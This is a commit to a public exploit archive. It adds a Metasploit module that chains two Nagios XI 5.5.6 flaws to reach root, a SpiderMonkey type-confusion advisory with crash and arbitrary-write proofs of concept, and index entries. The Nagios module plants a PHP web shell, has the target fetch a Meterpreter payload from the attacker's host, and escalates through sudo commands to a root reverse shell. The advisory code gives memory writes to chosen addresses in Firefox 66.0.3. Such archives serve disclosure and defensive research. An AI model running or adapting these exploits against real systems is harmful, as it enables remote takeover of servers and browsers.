DB: 2019-06-27

2 changes to exploits/shellcodes

Mozilla Spidermonkey - IonMonkey 'Array.prototype.pop' Type Confusion

Nagios XI 5.5.6 - Magpie_debug.php Root Remote Code Execution (Metasploit)
This commit is contained in:
Offensive Security 2019-06-27 05:01:52 +00:00
parent a90736625a
commit ee2531c421
3 changed files with 342 additions and 0 deletions

183
exploits/linux/remote/47039.rb Executable file
View file

@ -0,0 +1,183 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => "Nagios XI Magpie_debug.php Root Remote Code Execution",
'Description' => %q{
This module exploits two vulnerabilities in Nagios XI 5.5.6:
CVE-2018-15708 which allows for unauthenticated remote code execution
and CVE 201815710 which allows for local privilege escalation.
When combined, these two vulnerabilities give us a root reverse shell.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris Lyne (@lynerc)', # First working exploit
'Guillaume André (@yaumn_)' # Metasploit module
],
'References' =>
[
['CVE', '2018-15708'],
['CVE', '2018-15710'],
['EDB', '46221'],
['URL', 'https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172'],
['URL', 'https://www.tenable.com/security/research/tra-2018-37']
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
['Nagios XI 5.5.6', version: Gem::Version.new('5.5.6')]
],
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true
},
'Privileged' => false,
'DisclosureDate' => "2018-11-14",
'DefaultTarget' => 0
))
register_options(
[
OptString.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']),
OptString.new('RSRVPORT', [true, 'The port that will forward to the local HTTPS server', 8080]),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 5])
])
@WRITABLE_PATHS = [
['/usr/local/nagvis/share', '/nagvis'],
['/var/www/html/nagiosql', '/nagiosql']
]
@writable_path_index = 0
@MAGPIERSS_PATH = '/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php'
@session_opened = false
@webshell_name = "#{Rex::Text.rand_text_alpha(10)}.php"
@nse_name = "#{Rex::Text.rand_text_alpha(10)}.nse"
@meterpreter_name = Rex::Text.rand_text_alpha(10)
end
def on_request_uri(cli, req)
if @current_payload == @webshell_name
send_response(cli, '<?php system($_GET[\'cmd\'])?>')
else
send_response(cli, generate_payload_exe)
end
end
def primer
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(@MAGPIERSS_PATH),
'vars_get' => {
'url' => "https://#{datastore['RSRVHOST']}:#{datastore['RSRVPORT']}#{get_resource} " +
'-o ' + @WRITABLE_PATHS[@writable_path_index][0] + "/#{@current_payload}"
}
}, 5)
if !res || res.code != 200
print_error('Couldn\'t send malicious request to target.')
end
end
def check_upload
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@current_payload}")
}, 5)
if res && res.code == 200
print_status("#{@current_payload} uploaded with success!")
return true
else
print_error("Couldn't upload #{@current_payload}.")
return false
end
end
def check
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(@MAGPIERSS_PATH)
}, 5)
if res && res.code == 200
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def exploit
all_files_uploaded = false
# Upload useful files on the target
for i in 0..@WRITABLE_PATHS.size
@writable_path_index = i
for filename in [@webshell_name, @meterpreter_name]
@current_payload = filename
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
if !check_upload
break
elsif filename == @meterpreter_name
all_files_uploaded = true
end
end
end
if all_files_uploaded
break
end
end
meterpreter_path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@meterpreter_name}"
register_file_for_cleanup(
"#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@webshell_name}",
meterpreter_path,
"/var/tmp/#{@nse_name}"
)
# Commands to escalate privileges, some will work and others won't
# depending on the Nagios version
cmds = [
"chmod +x #{meterpreter_path} && sudo php /usr/local/nagiosxi/html/includes/" \
"components/autodiscovery/scripts/autodiscover_new.php --addresses=\'127.0.0.1/1`#{meterpreter_path}`\'",
"echo 'os.execute(\"#{meterpreter_path}\")' > /var/tmp/#{@nse_name} " \
"&& sudo nmap --script /var/tmp/#{@nse_name}"
]
# Try to launch root shell
for cmd in cmds
res = send_request_cgi(
{
'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}"),
'method' => 'GET',
'vars_get' => {
'cmd' => cmd
}
}, 5)
if !res && session_created?
break
end
print_status('Couldn\'t get remote root shell, trying another method')
end
end
end

View file

@ -0,0 +1,157 @@
The following program (found through fuzzing and manually modified) crashes Spidermonkey built from the current beta channel and Firefox 66.0.3 (current stable):
// Run with --no-threads for increased reliability
const v4 = [{a: 0}, {a: 1}, {a: 2}, {a: 3}, {a: 4}];
function v7(v8,v9) {
if (v4.length == 0) {
v4[3] = {a: 5};
}
// pop the last value. IonMonkey will, based on inferred types, conclude that the result
// will always be an object, which is untrue when p[0] is fetched here.
const v11 = v4.pop();
// Then if will crash here when dereferencing a controlled double value as pointer.
v11.a;
// Force JIT compilation.
for (let v15 = 0; v15 < 10000; v15++) {}
}
var p = {};
p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];
p[0] = -1.8629373288622089e-06;
v4.__proto__ = p;
for (let v31 = 0; v31 < 1000; v31++) {
v7();
}
When run, it produces a crash similar to the following:
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
frame #0: 0x000025a3b99b26cb
-> 0x25a3b99b26cb: cmp qword ptr [rax], r11
0x25a3b99b26ce: jne 0x25a3b99b26dd
0x25a3b99b26d4: cmovne rax, rcx
0x25a3b99b26d8: jmp 0x25a3b99b26f4
Target 0: (js) stopped.
(lldb) reg read rax
rax = 0x4141414141414141
I haven't thoroughly analyzed bug, but here is roughly what appears to be happening:
* when v4 is created, it will have inferred types for its elements, indicating that they will be JSObjects (this can be seen by running the spidermonkey shell with `INFERFLAGS=full` in the environment)
* in the block following the function definition, v4's prototype is changed to a new object with a double as element 0. This does not change the inferred element types of v4, presumably because these only track own properties/elements and not from prototypes
* v7 is executed a few times and all original elements from v4 are popped
* the element assignment (`v4[3] = ...`) changes the length of the array (to 4) without changing the inferred element types
Afterwards, v7 is (re-)compiled by IonMonkey:
* the call to v4.pop() is inlined by IonMonkey and converted to an MArrayPopShift instruction [1]
* since the inferred element types (JSObjects) match the observed types, no type barrier is emitted [2, 3]
* IonMonkey now assumes that the result of v4.pop() will be an object, thus omits type checks and directly proceed with the property load
* Later, when generating machine code for v4.pop [4], IonMonkey generates a call to the runtime function ArrayPopDense [5]
At execution time of the JITed code, when v4.length is back at 1 (and so the only element left to pop is element 0), the following happens:
* The runtime call to ArrayPopDense is taken
* this calls js::array_pop which in turn proceeds to load p[0] as v4 doesn't have a property with name '0'
* the array pop operation thus returns a double value
However, the JITed code still assumes that it received a JSObject* from the array pop operation and goes on to dereference the value, leading to a crash at an attacker controlled address. It is likely possible to exploit this bug further as type inference issues are generally well exploitable.
To summarize, the problem seems to be that the code handling Array.pop in IonMonkey doesn't take into account that Array.prototype.pop can load an element from the prototype, which could conflict with the array's inferred element types.
Bugzilla entry: https://bugzilla.mozilla.org/show_bug.cgi?id=1544386
Below is the original sample triggered by my fuzzer:
// Run with -no-threads --cpu-count=1 --ion-offthread-compile=off --baseline-warmup-threshold=10 --ion-warmup-threshold=100
let v2 = 0;
v2 = 7;
const v4 = [13.37,13.37,13.37,13.37,13.37];
function v7(v8,v9) {
const v10 = v2 + v4;
v4[v10] = Object;
const v11 = v4.pop();
for (let v15 = 0; v15 < 100; v15++) {
}
}
v4.__proto__ = Object;
for (let v19 = 0; v19 < 100; v19++) {
const v23 = [-1000000000000.0,-1000000000000.0,-1000000000000.0];
let v24 = Object;
v24.__proto__ = v23;
const v26 = String.fromCharCode(v19);
Object[0] = v26;
}
for (let v31 = 0; v31 < 100; v31++) {
const v32 = v7();
}
This bug can be exploited in a very similar way to https://bugs.chromium.org/p/project-zero/issues/detail?id=1791 and https://bugs.chromium.org/p/project-zero/issues/detail?id=1810 as they all allow the construction of type confusions between arbitrary objects. The following modification of the PoC achieves fast and reliable memory writes to arbitrary addresses in FireFox 66.0.3:
// Run with --no-threads for increased reliability
let ab = new ArrayBuffer(0x1000);
// Confuse these two types with each other below.
let x = {buffer: ab, length: 13.39, byteOffset: 13.40, data: 3.54484805889626e-310};
let y = new Uint32Array(0x1000);
const v4 = [y, y, y, y, y];
function v7(v8,v9) {
if (v4.length == 0) {
v4[3] = y;
}
// pop the last value. IonMonkey will, based on inferred types, conclude that the result
// will always be an object, which is untrue when p[0] is fetched here.
const v11 = v4.pop();
// It will then crash here when writing to a controlled address (0x414141414141).
v11[0] = 0x1337;
// Force JIT compilation.
for (let v15 = 0; v15 < 10000; v15++) {}
}
var p = {};
p.__proto__ = [y, y, y];
p[0] = x;
v4.__proto__ = p;
for (let v31 = 0; v31 < 1000; v31++) {
v7();
}
/* Crashes as follows in Firefox 66.0.3:
(lldb) process attach --pid 12534
...
Executable module set to "/Applications/Firefox.app/Contents/MacOS/plugin-container.app/Contents/MacOS/plugin-container".
(lldb) c
Process 12534 resuming
Process 12534 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x414141414141)
frame #0: 0x000037f56ae479bd
-> 0x37f56ae479bd: mov dword ptr [rcx + 4*rax], 0x1337
Target 0: (plugin-container) stopped.
(lldb) reg read rcx rax
rcx = 0x0000414141414141
rax = 0x0000000000000000
*/
The issue was fixed with commit https://hg.mozilla.org/releases/mozilla-beta/rev/109cefe117fbdd1764097e06796960082f4fee4e and released as an out-of-band security update on Jun 18th: https://www.mozilla.org/en-US/security/advisories/mfsa2019-18/
I looks like the core issue here was that IonMonkey, when trying to inline calls to Array.push and Array.pop into e.g. the MArrayPopShift instruction, didn't correctly verify that those operations would not end up accessing the prototype. It e.g. checked that no indexed properties (elements) exist on Array.prototype but this check could be bypassed by introducing an intermediate prototype such that the prototype chain looks something like array -> custom prototype with elements -> Array.prototype -> Object.prototype -> null. This is then problematic for at least two reasons:
* There could be inferred element types for the array. IonMonkey then assumed that the inlined pop would always yield an object of the inferred type which wasn't true if the pop actually loaded an element from the prototype. This is the aspect that Fuzzilli triggered
* By installing indexed getters and/or setter on the prototype, it becomes possible to turn this bug into an unexpected side-effect issue as the inlined push and pop operations are not supposed to trigger any side-effects
The fix was then to avoid inlining push and pop if the access could potentially go to the prototype.

View file

@ -6484,6 +6484,7 @@ id,file,description,date,author,type,platform,port
47026,exploits/windows/dos/47026.txt,"GSearch 1.0.1.0 - Denial of Service (PoC)",2019-06-24,0xB9,dos,windows,
47028,exploits/windows/dos/47028.txt,"Microsoft Windows - 'CmpAddRemoveContainerToCLFSLog' Arbitrary File/Directory Creation",2019-06-24,"Google Security Research",dos,windows,
47029,exploits/windows/dos/47029.txt,"Microsoft Windows Font Cache Service - Insecure Sections Privilege Escalation",2019-06-24,"Google Security Research",dos,windows,
47038,exploits/multiple/dos/47038.txt,"Mozilla Spidermonkey - IonMonkey 'Array.prototype.pop' Type Confusion",2019-06-26,"Google Security Research",dos,multiple,
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@ -17513,6 +17514,7 @@ id,file,description,date,author,type,platform,port
47019,exploits/windows/remote/47019.txt,"EA Origin < 10.5.38 - Remote Code Execution",2019-06-21,"Dominik Penner",remote,windows,
47030,exploits/multiple/remote/47030.py,"SuperDoctor5 - 'NRPE' Remote Code Execution",2019-06-25,"Simon Gurney",remote,multiple,
47031,exploits/hardware/remote/47031.py,"SAPIDO RB-1732 - Remote Command Execution",2019-06-25,k1nm3n.aotoi,remote,hardware,
47039,exploits/linux/remote/47039.rb,"Nagios XI 5.5.6 - Magpie_debug.php Root Remote Code Execution (Metasploit)",2019-06-26,Metasploit,remote,linux,
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,

Can't render this file because it is too large.